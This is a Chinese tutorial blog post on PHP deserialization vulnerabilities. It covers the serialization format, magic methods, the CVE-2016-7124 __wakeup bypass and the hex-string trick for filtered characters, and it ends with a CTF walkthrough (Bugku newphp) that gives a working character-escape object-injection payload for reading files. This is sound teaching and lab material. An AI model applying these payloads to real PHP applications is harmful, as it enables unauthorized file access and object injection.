PHP反序列化漏洞浅析

网络安全·代码审计 · 2023-09-23 · 600 人浏览

定义

PHP反序列化可以将一个对象转换为一个字符串保存起来,这将导致类中的成员可被用户控制,同时PHP在反序列化时会触发一些魔术函数,若这些魔术函数中含有危险函数且危险函数的参数是类的成员变量,即可导致越权访问或者命令执行。
主要涉及到两个函数:

  1. serialize($o):将对象序列化为字符串
  2. unserialize($str):将字符串反序列化为对象

序列化字符串解析

PHP序列化对象只会序列化对象的成员变量,对三个类型的成员变量有不同的标志方法。

例:

class Obj {

    public $int = 2;
    protected $str = "2";
    private $a = "a";

}
$o = new Obj();
echo serialize($o);

O:3:"Obj":3:{s:3:"int";i:2;s:6:"%00*%00str";s:1:"2";s:6:"%00Obj%00a";s:1:"a";}
这里%00指的是空字符,也就是ASCII码为00的字符,由于无法打印就用%00代替,我们逐部分分析。

  1. O:3:"Obj":3::第一个O指明了序列化的对象是一个通用对象,第一个3指明对象名长度为3个字符,"Obj"指明对象名称,第二个3指明这个对象有几个成员。
  2. {···}:中间指明所有成员的信息
  3. s:3:"int";i:2;:s:3指明成员名称以及长度,i:2指明成员的类型为整型、值为2
  4. s:6:"%00*%00str";s:1:"2":成员的名称前被拼接%00*%00来表示这是一个protected类型成员。
  5. s:6:"%00Obj%00a";s:1:"a";:成员的名称前被拼接%00{对象名}%00来表示这是一个private类型成员。

各字符表示的对象类型

  • a - array
  • b - boolean
  • d - double
  • i - integer
  • o - common object
  • r - reference
  • s - string
  • C - custom object
  • O - class
  • N - null
  • R - pointer reference
  • U - unicode string

魔术函数

魔术函数列表

  • __construct  当一个对象创建时被调用,
  • __destruct  当一个对象销毁时被调用,
  • __toString  当一个对象被当作一个字符串被调用。
  • __wakeup()  使用unserialize时触发
  • __sleep()  使用serialize时触发
  • __destruct()  对象被销毁时触发
  • __call()  在对象上下文中调用不可访问的方法时触发
  • __callStatic()  在静态上下文中调用不可访问的方法时触发
  • __get()  用于从不可访问的属性读取数据
  • __set()  用于将数据写入不可访问的属性
  • __isset()  在不可访问的属性上调用isset()或`empty`()触发
  • __unset()   在不可访问的属性上使用unset()时触发
  • __toString()  把类当作字符串使用时触发,返回值需要为字符串
  • __invoke()  当脚本尝试将对象调用为函数时触发

魔术函数的绕过

wakeup()绕过

PHP反序列化漏洞CVE-2016-7124
PHP版本:

  • PHP5<5.6.25
  • PHP7<7.0.10

当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过__wakeup()
例:
O:3:"Obj":4:{s:3:"int";i:2;s:6:"%00*%00str";s:1:"2";s:6:"%00Obj%00a";s:1:"a";}
这里标明有4个成员变量,但是{}中只有三个成员变量,会绕过__wakeup()创建对象。

字符屏蔽绕过

由于向protected成员与private成员注入时必须要使用到%00,这导致我们可能会看到题目屏蔽了不可打印字符,只保留了可打印字符,这种时候我们可以将标明变量名称类型的s替换为S,这可以让PHP以16进制的方式解析后方字符串。
例:
O:3:"Obj":3:{s:3:"int";i:2;S:6:"\00*\00str";s:1:"2";S:6:"\00Obj\00a";s:1:"a";}

PHP 7.1以上版本对属性类型不敏感,public属性序列化不会出现不可打印字符,可以用public属性来绕过。

字符逃逸

如果在程序有对序列化之后的字符串进行会改变字符数量的操作时,我们就可以尝试进行字符逃逸。
这里我们用一道例题讲解:Bugku-newphp

代码审计

打开靶场,获得以下代码:

// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
 
class evil{
    public $hint;
 
    public function __construct($hint){
        $this->hint = $hint;
    }
 
    public function __destruct(){
    if($this->hint==="hint.php")
            @$this->hint = base64_encode(file_get_contents($this->hint)); 
        var_dump($this->hint);
    }
 
    function __wakeup() { 
        if ($this->hint != "╭(●`∀´●)╯") { 
            //There's a hint in ./hint.php
            $this->hint = "╰(●’◡’●)╮"; 
        } 
    }
}
 
class User
{
    public $username;
    public $password;
 
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
 
}
 
function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    $tmp = $data;
}
 
function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}
 
$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];
 
$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
    die("NoNoNo!");
 
unserialize(read(write($a))); 

经过代码审计,我们可以知道,我们要构造evil类的反序列化字符串,并将其嵌入username或者password中,构成User类的一部分进行反序列化。我们还需要绕过__wakeup()函数。

构造反序列化

payload:O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
但是直接将这个字符串上传至username中是没有用的,如果我们直接上传,User类对象序列化出来的的字符串为O:4:"User":2:{s:8:"username";s:41:"O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";s:8:"password";s:6:"123456";},在反序列化时也只会被当做字符串的一部分进行解析。

不过我们注意到这里有一个函数会将字符串中的\0\0\0替换为[%00]*[%00]([%00]指代空字符),它将6个字符转换为三个字符,那么我们可以构造一个输入,使得在经过这个转换后,会吞掉一部分字符串,从而构成一个新的反序列化字符串。
构造字符串:
O:4:"User":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:60:"a";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}";}
在执行完read()函数之后,username中的\0\0\0变成了[%00]*[%00],使得6个字符变成了3个字符,导致后面的";s:8:"password";s:60:"a被吞入username中,使我们构造的password字段逃逸出来,在最后使用}提前闭合,将多余的";}屏蔽。

那么很明显了,我们的payload为:username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=a";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}
获得提示在index.cgi中。

cgi文件是种公共网关接口脚步文件,可以执行命令。
我们可以通过get方法向name传参,构造file伪协议,读取根目录的flag文件。

PHP 代码审计 反序列化 600 Views
本站已在互联网运行了 Theme Jasmine by Kent Liao